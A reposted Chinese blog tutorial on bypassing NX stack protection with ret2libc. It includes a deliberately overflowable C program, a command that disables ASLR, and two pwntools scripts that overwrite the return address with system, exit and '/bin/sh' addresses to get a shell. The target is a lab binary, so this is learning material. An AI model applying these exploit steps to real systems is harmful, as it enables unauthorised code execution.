NX機制及繞過策略-ret2libc

程序:
1.c

#include <stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];read(0,str,0x50);
}
int main()
{func();return 0;
}

0x01 NX介紹

溢出攻擊的本質在于馮·諾依曼計算機模型對數據和代碼沒有明確區分這一先天性缺陷。因為攻擊者可以將代碼放置于數據區段,轉而讓系統去執行。

NX緩解機制開啟后,使某些內存區域不可執行,并使可執行區域不可寫。示例:使數據,堆棧和堆段不可執行,而代碼段不可寫。

2. 編譯

gcc -Wall -g -o nx 1.c -fno-stack-protector -m32

沒有使用 -z execstack ,所以數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。

關閉ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

在這里插入圖片描述
我們用下面的程序執行獲取權限,將會報錯(我試了,這里就不貼圖了),因為開啟了NX保護機制。這是關閉NX獲取權限的,我寫在這篇文章上了:
https://blog.csdn.net/qq_41683305/article/details/105014197

from pwn import *
p=process('./nx')
offset = 0x28+0x4
payload ='a'*offset+p32(0x8049172)
p.sendline(payload)
p.interactive()

0x03 原因

運行起nx,并保持運行狀態,新打開一個終端,輸入ps -a,查看nx的pid,然后執行cat /proc/52799/maps
在這里插入圖片描述
發現stack不可以執行,我們的shellcode不可以執行了

0x04 ret2libc

ret2libc即控制函數執行libc中的函數,通常是返回至某個函數的plt處或者函數的具體位置(即函數對應的got表項的內容)。
一般情況下,我們會選擇執行system("/bin/sh"),在不存在ASLR(地址隨機化)的情況下,可以直接通過調試獲得system的函數地址以及“/bin/sh”的地址 。
在這里插入圖片描述
布局完成后,返回地址return_addr被覆蓋為libc文件里的system函數地址,當運行到esp位置時,會跳轉到system中執行,同時,esp指向esp+4,這時對system來說,它內部的ret(返回地址)執行時esp指針還是指向esp+4的,也就是esp + 4(0xdeadbeef)就是system函數的返回地址,而esp+8則是它的參數

在這里插入圖片描述

注:對于不想使程序崩潰,可以將esp+4的覆蓋為exit函數的地址

0x06 找地址

先執行start,運行我們的程序,然后輸入下圖內容,找到system和exit地址
在這里插入圖片描述
接著找/bin/sh地址
在這里插入圖片描述
我用的是第一個地址,成功了,后面兩個我沒有嘗試
三個地址都找到了,修改我們的poc程序:
1.py

# -*- coding: utf-8 -*-
from pwn import *
p=process('./nx')
offset = 0x28+0x4
payload ='a'*offset+p32(0xf7e13660) 
payload+=p32(0xf7e066f0)
payload+=p32(0x56557008)
p.sendline(payload)
p.interactive()

接著執行,成功獲取權限
在這里插入圖片描述

0x08 總結

Ret2Libc雖然把數據放在了不具備可執行權限的棧上,但成功執行了shellcode,這是因為只是把輸入數據當做純數據來間接劫持程序的執行流。

這個程序的成功執行得利于關閉ASLR,system和exit函數的地址才能固定下來。我們構造poc才方便很多。

ret2libc的精髓之處在于,把ret addr修改成libc庫中的函數地址,并且構造了system函數的參數。對于DEP防御來說,你不讓我執行我的代碼,我就利用你的函數達到我的目的。這邊是面向返回編程的設計思路。

參考:

https://www.jianshu.com/p/c90530c910b0
https://blog.csdn.net/counsellor/article/details/81986052?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/380173.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/380173.shtml
英文地址,請注明出處:http://en.pswp.cn/news/380173.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

網站SEO策略的制定

在對一個網站做SEO的時候&#xff0c;SEO技術水平類似的人&#xff0c;營銷效果可能天壤之別&#xff0c;這是因為網站SEO策略的制定的不同&#xff01;-----這個是最根本的。 SEO技術非常的簡單&#xff0c;因為SEO不是去尋找搜索引擎的漏洞&#xff0c;而是根據搜索引…

Python | 程序從列表中刪除范圍內的所有元素

Given a list and we have to remove elements in a range from the list in Python. 給定一個列表&#xff0c;我們必須從Python中的列表中刪除范圍內的元素。 刪除列表(開始索引&#xff0c;結束索引) (del list(start_index, end_index)) del() method is used to remove a…

面向對象 (接口 Interface)

1&#xff0c;面向對象(接口的概述及其特點) A:接口概述 從狹義的角度講就是指java中的interface從廣義的角度講對外提供規則的都是接口 B:接口特點 a:接口用關鍵字interface表示 interface 接口名 {}b:類實現接口用implements表示 class 類名 implements 接口名 {}c:接口…

android unbound prefix

少一個命名空間加上就行了&#xff1a;xmlns:android"http://schemas.android.com/apk/res/android" 轉載于:https://www.cnblogs.com/nizuimeiabc1/archive/2011/10/09/4254310.html

【競賽題解】第22次CCF計算機軟件能力認證 B

今天&#xff08;準確說是昨天&#xff0c;一下子就過12點了&#xff09;下午剛參加了CSP認證考試&#xff0c;大概是考了220&#xff08;前兩題AC&#xff0c;第三題太折磨了懶得看了&#xff0c;后面兩題各混了10分&#xff09;&#xff0c;唯一有點參與感的就是B題了&#x…

gbd調試64位程序關鍵

程序&#xff1a; 4.c&#xff1a; #include<stdio.h> void exploit() {system("/bin/sh"); } void main() {char buf[20];gets(buf); }編譯&#xff1a; gcc -no-pie -fno-stack-protector -m64 -o 4.exe 4.cNX保護&#xff0c;棧數據不可執行 使用命令&…

C#全局鼠標鍵盤Hook (備查)

using System; using System.Collections.Generic; using System.Reflection; using System.Runtime.InteropServices; using System.Text; using System.Windows.Forms; namespace DCIEngine.FrameWork.Snap { /// <summary> /// 這個類可以讓你得到一個在…

fcfs調度算法_FCFS:先來先服務調度算法

fcfs調度算法The FCFS, which stands for First Come First Serve Scheduling Algorithm, is a non-preemptive scheduling algorithm, which means that if a process once starts executing in the processor, then it cannot be preempted in between the processing. Thus,…

親和數

Problem Description 古希臘數學家畢達哥拉斯在自然數研究中發現&#xff0c;220的所有真約數(即不是自身的約數)之和為&#xff1a; 1245101120224455110&#xff1d;284。 1* 220220&#xff1b;2* 110220&#xff1b;4* 55220&#xff1b;5* 44220&#xff1b;10*20220;…

轉:JNI jstring與c++字符串類型轉換函數

jstring與c字符串類型轉換函數 jstring str2jstring(JNIEnv* env,const char* pat) {//定義java String類 strClassjclass strClass (env)->FindClass("Ljava/lang/String;");//獲取String(byte[],String)的構造器,用于將本地byte[]數組轉換為一個新Stringjmetho…

python字符串轉浮點數_如何在Python中檢查字符串是否為數字(浮點數)?

python字符串轉浮點數Using python it is very to interconvert the datatypes of a variable. A string can be easily converted to an integer or a float. However, asserting a string to be a float is a task by itself. Python provides an option to assert if a stri…

nhibernate學習之三級聯(Ternary Associations)篇

1) 學習目標通過進一步學習Nhibernate基礎知識&#xff0c;掌握用Nhiberate實現對級聯的支持&#xff0c;通過一個簡單的用戶角色權限系統來體驗nhibernate對級聯的強大支持。2&#xff09;開發環境和必要準備 開發環境為:windows 2003,Visual studio .Net 2005,Sql server 200…

【競賽題解】Codeforces Round #715 (Div. 2) C

C. The Sports Festival 題意&#xff1a;對于給定的整型數組aaa&#xff0c;每次選擇其中一個元素aia_iai?&#xff08;不能重復選擇同一元素&#xff09;&#xff0c;每次計算已選擇的元素的極差&#xff08;最大元素減最小元素的差&#xff09;&#xff0c;輸出最后極差和…

C和匯編---sizeof運算符和strlen函數

sizeof sizeof是C語言的內置運算符&#xff0c;以字節為單位給出指定類型的大小。 程序&#xff1a; #include <stdio.h>int main(void) {int a8;int b sizeof(a);//printf("a占用字節%u\n",sizeof(a));printf("a占用字節%d\n",b);return 0; }反匯…

Java接口程序練習

題目&#xff1a; 編寫一個接口程序&#xff0c;其中定義一個計算體積的方法。然后&#xff0c;在設計應用程序實現這個接口&#xff0c;分別計算矩形柱面體積和圓形柱面體積。 代碼如下&#xff1a; import java.util.*;//導入掃描儀&#xff1b; public class clown {publi…

[原]Asp.net替換不同版本的Dll文件碰到的問題以及解決辦法.

情景還原: 今天一個朋友說網站不能上傳圖片,我檢查后發現一直卡住在上傳頁面,一直滾動,是個Fckeditor控件2.6.3的. 經過google以后得到的結論是圖片上傳成功,但是沒有返回結果,在服務器上可以看到上傳的圖片. 說明是上傳控件有問題,程序不能返回結果. 再google以后發現有人已經…

疊筐

Problem Description 需要的時候&#xff0c;就把一個個大小差一圈的筐疊上去&#xff0c;使得從上往下看時&#xff0c;邊筐花色交錯。這個工作現在要讓計算機來完成&#xff0c;得看你的了。 Input 輸入是一個個的三元組&#xff0c;分別是&#xff0c;外筐尺寸n&#xff…

“Visual Studio.net已檢測到指定的Web服務器運行的不是Asp.net1.1版。您將無法運行Asp.net Web應用程序或服務”問題的解決方案...

解決方案一&#xff1a; 1.確定有安裝.net framework 1.1&#xff0c;可以查看目錄&#xff0c;c:\winnt\microsoft.net\framework重啟IIS&#xff0c;重啟計算機&#xff08;常規糾錯方法&#xff09; 2.如果你的Web服務器使用了固定IP&#xff1a;確定你的“Internet信息服務…

【桶】220.存在重復元素 III 【LeetCode】

220.存在重復元素 III 【LeetCode】 給你一個整數數組 nums 和兩個整數 k 和 t。請你判斷是否存在 兩個不同下標i和j&#xff0c;使得 abs(nums[i] - nums[j]) < t&#xff0c;同時又滿足 abs(i - j) < k。 如果存在則返回 true&#xff0c;不存在返回 false。 示例 1…

遠控免殺專題12--Green-Hat-Suite免殺

0x01 免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。 3、由于本機測試時只是安裝了360全…